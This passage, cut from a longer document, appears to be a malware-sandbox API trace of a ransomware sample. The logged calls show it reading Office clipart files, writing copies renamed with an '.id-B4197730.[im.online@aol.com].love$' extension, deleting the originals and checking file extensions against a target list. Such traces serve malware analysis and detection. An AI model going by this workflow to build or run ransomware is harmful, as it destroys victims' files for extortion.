lpNumberOfBytesWritten=0x298fc94*=0x640, lpOverlapped=0x0) returned 1 [0226.076] ReadFile (in: hFile=0x458, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0226.076] WriteFile (in: hFile=0x45c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0226.076] SetEndOfFile (hFile=0x45c) returned 1 [0226.076] CloseHandle (hObject=0x45c) returned 1 [0226.078] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.078] SetEndOfFile (hFile=0x458) returned 1 [0226.401] CloseHandle (hObject=0x458) returned 1 [0226.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0226.402] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf")) returned 1 [0226.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0226.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0226.404] lstrlenW (lpString=".doc") returned 4 [0226.404] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0226.404] lstrlenW (lpString=".docx") returned 5 [0226.404] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0226.404] lstrlenW (lpString=".pdf") returned 4 [0226.404] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0226.404] lstrlenW (lpString=".xls") returned 4 [0226.404] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0226.404] lstrlenW (lpString=".xlsx") returned 5 [0226.404] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0226.404] lstrlenW (lpString=".ppt") returned 4 [0226.404] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0226.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0226.404] lstrlenW (lpString=".zip") returned 4 [0226.404] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0226.404] lstrlenW (lpString=".rar") returned 4 [0226.404] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0226.404] lstrlenW (lpString=".bz2") returned 4 [0226.404] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0226.404] lstrlenW (lpString=".7z") returned 3 [0226.404] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0226.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0226.404] lstrlenW (lpString=".dbf") returned 4 [0226.404] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0226.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0226.405] lstrlenW (lpString=".1cd") returned 4 [0226.405] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0226.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0226.405] lstrlenW (lpString=".jpg") returned 4 [0226.405] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0226.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0226.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0226.405] lstrlenW (lpString=".doc") returned 4 [0226.405] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0226.405] lstrlenW (lpString=".docx") returned 5 [0226.405] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0226.405] lstrlenW (lpString=".pdf") returned 4 [0226.406] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0226.406] lstrlenW (lpString=".xls") returned 4 [0226.406] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0226.406] lstrlenW (lpString=".xlsx") returned 5 [0226.406] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0226.406] lstrlenW (lpString=".ppt") returned 4 [0226.406] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0226.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0226.406] lstrlenW (lpString=".zip") returned 4 [0226.406] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0226.406] lstrlenW (lpString=".rar") returned 4 [0226.406] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0226.406] lstrlenW (lpString=".bz2") returned 4 [0226.406] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0226.406] lstrlenW (lpString=".7z") returned 3 [0226.406] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0226.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0226.406] lstrlenW (lpString=".dbf") returned 4 [0226.406] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0226.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0226.406] lstrlenW (lpString=".1cd") returned 4 [0226.406] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0226.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0226.406] lstrlenW (lpString=".jpg") returned 4 [0226.406] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0226.407] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0226.407] lstrlenW (lpString="AN01173_.WMF") returned 12 [0226.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0226.408] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=26332) returned 1 [0226.408] CloseHandle (hObject=0x458) returned 1 [0226.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf")) returned 0x220 [0226.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0226.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0226.409] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.409] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0226.410] GetLastError () returned 0x0 [0226.410] ReadFile (in: hFile=0x458, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x66dc, lpOverlapped=0x0) returned 1 [0226.415] WriteFile (in: hFile=0x418, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x66e0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x66e0, lpOverlapped=0x0) returned 1 [0226.416] ReadFile (in: hFile=0x458, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0226.416] WriteFile (in: hFile=0x418, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0226.416] SetEndOfFile (hFile=0x418) returned 1 [0226.417] CloseHandle (hObject=0x418) returned 1 [0226.420] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.421] SetEndOfFile (hFile=0x458) returned 1 [0226.424] CloseHandle (hObject=0x458) returned 1 [0226.424] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0226.425] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf")) returned 1 [0226.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0226.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0226.426] lstrlenW (lpString=".doc") returned 4 [0226.426] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0226.426] lstrlenW (lpString=".docx") returned 5 [0226.426] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0226.426] lstrlenW (lpString=".pdf") returned 4 [0226.426] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0226.426] lstrlenW (lpString=".xls") returned 4 [0226.426] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0226.426] lstrlenW (lpString=".xlsx") returned 5 [0226.426] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0226.426] lstrlenW (lpString=".ppt") returned 4 [0226.426] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0226.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0226.426] lstrlenW (lpString=".zip") returned 4 [0226.426] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0226.426] lstrlenW (lpString=".rar") returned 4 [0226.426] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0226.426] lstrlenW (lpString=".bz2") returned 4 [0226.426] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0226.426] lstrlenW (lpString=".7z") returned 3 [0226.426] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0226.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0226.426] lstrlenW (lpString=".dbf") returned 4 [0226.426] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0226.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0226.426] lstrlenW (lpString=".1cd") returned 4 [0226.427] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0226.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0226.427] lstrlenW (lpString=".jpg") returned 4 [0226.427] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0226.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0226.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0226.427] lstrlenW (lpString=".doc") returned 4 [0226.427] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0226.427] lstrlenW (lpString=".docx") returned 5 [0226.427] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0226.427] lstrlenW (lpString=".pdf") returned 4 [0226.427] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0226.427] lstrlenW (lpString=".xls") returned 4 [0226.427] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0226.427] lstrlenW (lpString=".xlsx") returned 5 [0226.427] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0226.427] lstrlenW (lpString=".ppt") returned 4 [0226.427] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0226.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0226.427] lstrlenW (lpString=".zip") returned 4 [0226.427] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0226.427] lstrlenW (lpString=".rar") returned 4 [0226.427] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0226.427] lstrlenW (lpString=".bz2") returned 4 [0226.427] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0226.427] lstrlenW (lpString=".7z") returned 3 [0226.427] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0226.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0226.427] lstrlenW (lpString=".dbf") returned 4 [0226.428] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0226.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0226.428] lstrlenW (lpString=".1cd") returned 4 [0226.428] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0226.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0226.428] lstrlenW (lpString=".jpg") returned 4 [0226.428] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0226.428] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0226.428] lstrlenW (lpString="AN01174_.WMF") returned 12 [0226.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0226.428] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=27858) returned 1 [0226.428] CloseHandle (hObject=0x458) returned 1 [0226.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf")) returned 0x220 [0226.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0226.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0226.429] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.429] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0226.430] GetLastError () returned 0x0 [0226.430] ReadFile (in: hFile=0x458, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x6cd2, lpOverlapped=0x0) returned 1 [0226.433] WriteFile (in: hFile=0x418, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x6ce0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x6ce0, lpOverlapped=0x0) returned 1 [0226.434] ReadFile (in: hFile=0x458, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0226.434] WriteFile (in: hFile=0x418, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0226.434] SetEndOfFile (hFile=0x418) returned 1 [0226.435] CloseHandle (hObject=0x418) returned 1 [0226.957] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.957] SetEndOfFile (hFile=0x458) returned 1 [0226.962] CloseHandle (hObject=0x458) returned 1 [0226.962] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0226.963] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf")) returned 1 [0226.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0226.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0226.964] lstrlenW (lpString=".doc") returned 4 [0226.964] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0226.964] lstrlenW (lpString=".docx") returned 5 [0226.964] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0226.964] lstrlenW (lpString=".pdf") returned 4 [0226.964] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0226.964] lstrlenW (lpString=".xls") returned 4 [0226.964] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0226.964] lstrlenW (lpString=".xlsx") returned 5 [0226.964] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0226.964] lstrlenW (lpString=".ppt") returned 4 [0226.964] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0226.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0226.964] lstrlenW (lpString=".zip") returned 4 [0226.964] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0226.964] lstrlenW (lpString=".rar") returned 4 [0226.964] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0226.965] lstrlenW (lpString=".bz2") returned 4 [0226.965] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0226.965] lstrlenW (lpString=".7z") returned 3 [0226.965] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0226.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0226.965] lstrlenW (lpString=".dbf") returned 4 [0226.965] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0226.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0226.965] lstrlenW (lpString=".1cd") returned 4 [0226.965] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0226.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0226.965] lstrlenW (lpString=".jpg") returned 4 [0226.965] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0226.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0226.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0226.965] lstrlenW (lpString=".doc") returned 4 [0226.965] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0226.965] lstrlenW (lpString=".docx") returned 5 [0226.965] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0226.965] lstrlenW (lpString=".pdf") returned 4 [0226.965] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0226.965] lstrlenW (lpString=".xls") returned 4 [0226.965] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0226.965] lstrlenW (lpString=".xlsx") returned 5 [0226.965] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0226.965] lstrlenW (lpString=".ppt") returned 4 [0226.966] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0226.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0226.966] lstrlenW (lpString=".zip") returned 4 [0226.966] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0226.966] lstrlenW (lpString=".rar") returned 4 [0226.966] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0226.966] lstrlenW (lpString=".bz2") returned 4 [0226.966] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0226.966] lstrlenW (lpString=".7z") returned 3 [0226.966] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0226.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0226.966] lstrlenW (lpString=".dbf") returned 4 [0226.966] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0226.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0226.966] lstrlenW (lpString=".1cd") returned 4 [0226.966] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0226.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0226.966] lstrlenW (lpString=".jpg") returned 4 [0226.966] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0226.966] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0226.966] lstrlenW (lpString="AN01218_.WMF") returned 12 [0226.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0226.967] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=3012) returned 1 [0226.967] CloseHandle (hObject=0x458) returned 1 [0226.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf")) returned 0x220 [0226.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0226.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0226.968] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.968] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0226.969] GetLastError () returned 0x0 [0226.969] ReadFile (in: hFile=0x458, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0xbc4, lpOverlapped=0x0) returned 1 [0226.988] WriteFile (in: hFile=0x418, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xbd0, lpOverlapped=0x0) returned 1 [0226.990] ReadFile (in: hFile=0x458, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0226.990] WriteFile (in: hFile=0x418, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0226.990] SetEndOfFile (hFile=0x418) 